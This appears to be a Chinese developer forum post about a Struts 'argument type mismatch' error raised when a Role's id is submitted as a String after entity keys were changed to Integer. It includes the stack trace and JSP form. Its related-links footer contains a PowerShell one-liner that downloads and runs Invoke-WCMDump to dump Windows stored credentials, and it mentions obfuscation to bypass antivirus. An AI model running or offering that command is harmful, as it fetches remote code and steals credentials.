***********************************************************************************
***********************************************************************************
Struts Problem Report
Struts has detected an unhandled exception:
Messages: argument type mismatch
Cannot invoke com.flyoa.entity.IdEntity.setId on bean class 'class com.flyoa.entity.auth.Role' - argument type mismatch - had objects of type "java.lang.String" but expected signature "java.lang.Integer"
File: org/apache/commons/beanutils/PropertyUtilsBean.java
Line number: 2,181
--------------------------------------------------------------------------------
Stacktraces
java.lang.IllegalArgumentException: Cannot invoke com.flyoa.entity.IdEntity.setId on bean class 'class com.flyoa.entity.auth.Role' - argument type mismatch - had objects of type "java.lang.String" but expected signature "java.lang.Integer"
org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2181)
org.apache.commons.beanutils.PropertyUtilsBean.setSimpleProperty(PropertyUtilsBean.java:2141)
org.apache.commons.beanutils.PropertyUtilsBean.setNestedProperty(PropertyUtilsBean.java:1948)
org.apache.commons.beanutils.PropertyUtilsBean.setProperty
***********************************************************************************
***********************************************************************************
-----------------------------------------------------------------------------------
首先告诉大家上面调试信息是save提交之后,页面返回的错误信息,解释如下:
堆栈跟踪
非法参数异常:不能调用bean类setId“class Role” - 参数类型不匹配 - 有类型的对象“java.lang.String”,
但预期的签名“java.lang.Integer”
-----------------------------------------------------------------------------------
情况是这样的,之前这个工程的实体类的主键全部是用的uuid.hex,数据库也是varchar类型,
后来为了和另外一个项目方便接口,将数据库中的主键id字段全部修改为bigint类型,实体类
也全部修改为Integer类型,所有java类中的id引用(之前是String类型)全部修改为Integer,
单表的增删改查操作是没有问题的,
------------------------------------------------------------------------------------
上面的操作是“当添加一个用户,同时需要将角色关联到这个当前用户”,出现上面的错误,
个人认为出错原因:应该是返回的页面上的,页面上是String类型,而后台java类已经修改了interger,
但是一直在页面上没有找到这个关注点,
下面是save时form表单提交的数据,提交表单的时候需要将role的id先提交,
估计是提交的角色listKey的id没有转换为Integer,
*************************************************************************************
<s:form action="/auth/user!save.action">
<s:if test="id!=null"><s:hidden name="id" /></s:if>
<s:checkboxlist label="%{getText('user.roles')}" name="checkedRoleIds"
list="getAllRoles()"
listKey="id"
listValue="getRoleName()" />
<s:submit value="%{getText('general.save')}" align="center" />
</s:form>
**************************************************************************************
分享到:
相关推荐
Ivoke-WCMDump 什么是Credential Manager...powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1');Invoke-WCMDump
资源分类:Python库 所属语言:Python 资源全名:js_invoke-1.3.0-py3-none-any.whl 资源来源:官方 安装方法:https://lanzao.blog.csdn.net/article/details/101784059
npm install vue - router - invoke - webpack - plugin - D cnpm cnpm install vue - router - invoke - webpack - plugin - D 纱 yarn add vue - router - invoke - webpack - plugin - D 什么是自动生成路线 ...
AWS_Invoke-0.0.2-py3-none-any.whl.zip
使用 Invoke-WCMDump 加powershell 获取windows凭证密码 使用文档地址:https://blog.csdn.net/caperxi/article/details/117775522
0.60$ react-native link react-native-invoke-app用法 import invokeApp from 'react-native-invoke-app' ;// Within your headless functioninvokeApp ( ) ;高级用法您可以将对象传递给invokeApp方
python库,解压后可用。 资源全名:invoke-1.4.1-py2-none-any.whl
资源来自pypi官网。 资源全名:invoke-1.4.1-py2-none-any.whl
Invoke-ARPScan.ps1
Invoke-Obfuscation-Bypass + PS2EXE 绕过主流杀软Invoke-Obfuscation-Bypass + PS2EXE 绕过主流
that has the install program on it and type INSTALL. You will be given instructions in a box at the bottom of the screen for each prompt. For example, if you will be installing from drive A:, type...
that has the install program on it and type INSTALL. You will be given instructions in a box at the bottom of the screen for each prompt. For example, if you will be installing from drive A:, type...
the difference of Invoke and BeginInvoke
NOTES ON MS-DOS VERSION 5.0 =========================== In this file the following topics are covered: 1. Introduction 2. Solving Setup Problems 2.1 Priam and Everex Hard Disks 2.2 SyQuest ...
初始化 如果为初始化会报 RuntimeException: "please invoke x.Ext.init(app) on Application#onCreate() and register your Application in manifest." 在AndroidManifest.xml中注册自定义Application, 之后加入...
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("做前置工作"); System.out.println("--------------------------"); if(args != null){ for...
本文资源是利用Qt5+vue实现一个windows桌面应用程序,采用QWebEngineView加载html页面,QWebChannel和QThred实现和html页面异步交互